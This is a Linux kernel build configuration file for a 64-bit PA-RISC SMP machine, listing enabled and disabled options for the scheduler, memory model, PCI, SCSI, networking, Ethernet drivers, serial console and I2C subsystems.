CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
# CONFIG_COMPILE_TEST is not set
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_FHANDLE is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
# CONFIG_PREEMPT_RCU is not set
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_FANOUT=32
CONFIG_RCU_FANOUT_LEAF=16
# CONFIG_RCU_FANOUT_EXACT is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_RCU_NOCB_CPU is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_CGROUPS is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_UIDGID_CONVERTED=y
# CONFIG_UIDGID_STRICT_TYPE_CHECKS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
# CONFIG_BLK_DEV_INITRD is not set
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
# CONFIG_EXPERT is not set
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_PCI_QUIRKS=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
CONFIG_VM_EVENT_COUNTERS=y
# CONFIG_COMPAT_BRK is not set
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_64BIT_ALIGNED_ACCESS=y
CONFIG_USE_GENERIC_SMP_HELPERS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_CLONE_BACKWARDS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
# CONFIG_MODULE_FORCE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_BSGLIB is not set
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
# CONFIG_IOSCHED_CFQ is not set
CONFIG_DEFAULT_DEADLINE=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="deadline"
CONFIG_BROKEN_RODATA=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_MLONGCALLS is not set
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
# CONFIG_IRQSTACKS is not set
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
# CONFIG_CROSS_MEMORY_ATTACH is not set
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
# CONFIG_ZBUD is not set
CONFIG_COMPAT=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_NR_CPUS=2

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set

#
# PCI host controller drivers
#
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
CONFIG_BINFMT_SCRIPT=y
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_DIAG is not set
CONFIG_UNIX=y
# CONFIG_UNIX_DIAG is not set
# CONFIG_XFRM_USER is not set
# CONFIG_NET_KEY is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
# CONFIG_NET_IP_TUNNEL is not set
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
# CONFIG_INET_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
CONFIG_HAVE_NET_DSA=y
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
# CONFIG_NETLINK_MMAP is not set
# CONFIG_NETLINK_DIAG is not set
# CONFIG_NET_MPLS_GSO is not set
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_XPS=y
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y
CONFIG_NET_FLOW_LIMIT=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=2
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_DRBD is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_BLK_DEV_SX8 is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_BLK_DEV_RSXX is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_AD525X_DPOT is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
# CONFIG_ATMEL_SSC is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_APDS9802ALS is not set
# CONFIG_ISL29003 is not set
# CONFIG_ISL29020 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1780 is not set
# CONFIG_SENSORS_BH1770 is not set
# CONFIG_SENSORS_APDS990X is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_BMP085_I2C is not set
# CONFIG_PCH_PHUB is not set
# CONFIG_USB_SWITCH_FSA9480 is not set
# CONFIG_SRAM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_LEGACY is not set
# CONFIG_EEPROM_MAX6875 is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#
# CONFIG_SENSORS_LIS3_I2C is not set

#
# Altera FPGA firmware download module
#
# CONFIG_ALTERA_STAPL is not set
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
CONFIG_RAID_ATTRS=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=y
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_SCSI_BNX2X_FCOE is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_CHELSIO_FCOE is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
# CONFIG_MD is not set
# CONFIG_TARGET_CORE is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_FIREWIRE_NOSY is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_MII=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_NET_FC is not set
# CONFIG_NET_TEAM is not set
# CONFIG_MACVLAN is not set
# CONFIG_VXLAN is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
CONFIG_TUN=y
# CONFIG_VETH is not set
# CONFIG_NLMON is not set
# CONFIG_ARCNET is not set

#
# CAIF transport drivers
#

#
# Distributed Switch Architecture drivers
#
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set
# CONFIG_NET_DSA_MV88E6131 is not set
# CONFIG_NET_DSA_MV88E6123_61_65 is not set
CONFIG_ETHERNET=y
CONFIG_NET_VENDOR_3COM=y
CONFIG_VORTEX=y
# CONFIG_TYPHOON is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_ALTEON is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_ARC is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_NET_CADENCE is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_CALXEDA_XGMAC is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CISCO is not set
# CONFIG_DNET is not set
CONFIG_NET_VENDOR_DEC=y
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_TULIP_NAPI is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
# CONFIG_NET_VENDOR_EXAR is not set
# CONFIG_NET_VENDOR_HP is not set
# CONFIG_NET_VENDOR_INTEL is not set
# CONFIG_IP1000 is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MELLANOX is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_PACKET_ENGINE is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_SH_ETH is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_SFC is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_NET_VENDOR_VIA is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PHYLIB is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_RTL8152 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set
# CONFIG_INPUT_MATRIXKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PCIPS2 is not set
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
# CONFIG_LEGACY_PTYS is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
# CONFIG_DEVKMEM is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
# CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set
# CONFIG_SERIAL_8250_DW is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_PCH_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
CONFIG_I2C=y
CONFIG_I2C_BOARDINFO=y
# CONFIG_I2C_COMPAT is not set
# CONFIG_I2C_CHARDEV is not set
# CONFIG_I2C_MUX is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=m

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_DESIGNWARE_PCI is not set
# CONFIG_I2C_EG20T is not set
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_PXA_PCI is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_DIOLAN_U2C is not set
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set
# CONFIG_I2C_TINY_USB is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_STUB is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# CONFIG_SPI is not set
# CONFIG_HSI is not set

#
# PPS support
#
# CONFIG_PPS is not set

#
# PPS generators support
#

#
# PTP clock support
#
# CONFIG_PTP_1588_CLOCK is not set

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
CONFIG_GPIO_DEVRES=y
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_POWER_AVS is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_AS3711 is not set
# CONFIG_PMIC_ADP5520 is not set
# CONFIG_MFD_CROS_EC is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_DA9052_I2C is not set
# CONFIG_MFD_DA9055 is not set
# CONFIG_MFD_MC13XXX_I2C is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_LPC_ICH is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_88PM800 is not set
# CONFIG_MFD_88PM805 is not set
# CONFIG_MFD_88PM860X is not set
# CONFIG_MFD_MAX77686 is not set
# CONFIG_MFD_MAX77693 is not set
# CONFIG_MFD_MAX8907 is not set
# CONFIG_MFD_MAX8925 is not set
# CONFIG_MFD_MAX8997 is not set
# CONFIG_MFD_MAX8998 is not set
# CONFIG_MFD_VIPERBOARD is not set
# CONFIG_MFD_RETU is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RTSX_PCI is not set
# CONFIG_MFD_RC5T583 is not set
# CONFIG_MFD_SEC_CORE is not set
# CONFIG_MFD_SI476X_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_MFD_SMSC is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_MFD_STMPE is not set
# CONFIG_MFD_SYSCON is not set
# CONFIG_MFD_TI_AM335X_TSCADC is not set
